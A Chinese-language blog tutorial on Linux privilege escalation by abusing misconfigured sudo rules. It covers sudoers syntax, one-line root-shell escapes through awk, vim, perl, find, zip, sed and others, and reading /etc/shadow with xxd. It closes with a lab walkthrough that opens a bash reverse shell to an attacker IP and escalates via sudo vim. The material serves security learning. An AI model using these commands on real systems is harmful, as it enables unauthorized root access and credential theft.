[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Sudo 滥用提权原理
Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。
在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers
文件中进行操作。
0x0101:Sudo 基础 — Sudo 权限的授予
授予 Sudo 权限是在 /etc/sudoers
文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:
username ALL=(ALL) NOPASSWD: /usr/bin/awk
# username => 被授予 Sudo 权限的用户
# ALL= => 表示允许从任何终端访问 sudo
# (ALL) => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root
# NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码
# /usr/bin/awk => 表示可以被 sudo 运行的命令
下面是一些常见的 Sudo 权限授予的示例:
# 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)
alice ALL=(ALL) ALL
# 允许用户组 wheel 中的用户以任意身份运行所有命令
%wheel ALL=(ALL) ALL
# 允许用户 bob 以 root 身份运行特定命令
bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls
# 允许用户 bob 以 www-data 身份运行特定命令,不需要密码
bob ALL=(www-data) NOPASSWD: /usr/bin/awk
0x0102:Sudo 基础 — 查看当前用户可以用 Sudo 执行的命令
可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:
cat /etc/sudoers # 这个需要权限,我们一般查看不了
sudo -l # 这个命令有时候不用密码也能运行
不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:
不过笔者测试了一下,sudo -l
这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:
0x02:Sudo 滥用提权姿势
Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:
apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip
0x0201:awk — Sudo 提权姿势
sudo awk 'BEGIN {system("/bin/sh")}'
0x0202:vim — Sudo 提权姿势
sudo vim -c '!sh'
0x0203:xxd — Sudo 提权姿势
xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:
sudo xxd "/etc/shadow" | xxd -r
0x0204:env — Sudo 提权姿势
sudo env /bin/sh
0x0205:perl — Sudo 提权姿势
sudo perl -e 'exec "/bin/sh";'
0x0206:zip — Sudo 提权姿势
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
0x0207:sed — Sudo 提权姿势
sudo sed -n '1e exec sh 1>&0' /etc/passwd
0x0208:find — Sudo 提权姿势
sudo find /etc/passwd -exec /bin/sh \;
0x0209:git — Sudo 提权姿势
1. git — Sudo 提权环境配置
首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers
文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq!
退出编辑):
test01 ALL=(ALL) NOPASSWD: /usr/bin/git
2. git — Sudo 提权姿势教程
git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:
sudo git help config
然后键盘再输入下面的命令进行提权:
!/bin/sh
0x0210:ftp — Sudo 提权姿势
ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo ftp
!/bin/sh
0x0211:less — Sudo 提权姿势
less 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo less /etc/hosts
!sh
0x0212:ed — Sudo 提权姿势
ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo ed
!/bin/sh
0x0213:man — Sudo 提权姿势
man 命令的提权方式与前面介绍的 git 类似,也是两条命令:
sudo man man
!/bin/sh
0x03:Sudo 滥用提权实战
复现环境
靶机 CentOS 7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
0x0301:拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
此时回到 Kali 攻击机,可以看到靶机直接上线:
0x0302:查看当前用户可以执行 Sudo 的命令
输入下面的命令查看当前用户可以使用 Sudo 执行的命令:
sudo -l
如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。
0x0303:Sudo 提权
使用前面介绍的对应命令的 Sudo 提权姿势进行提权:
sudo vim -c '!sh'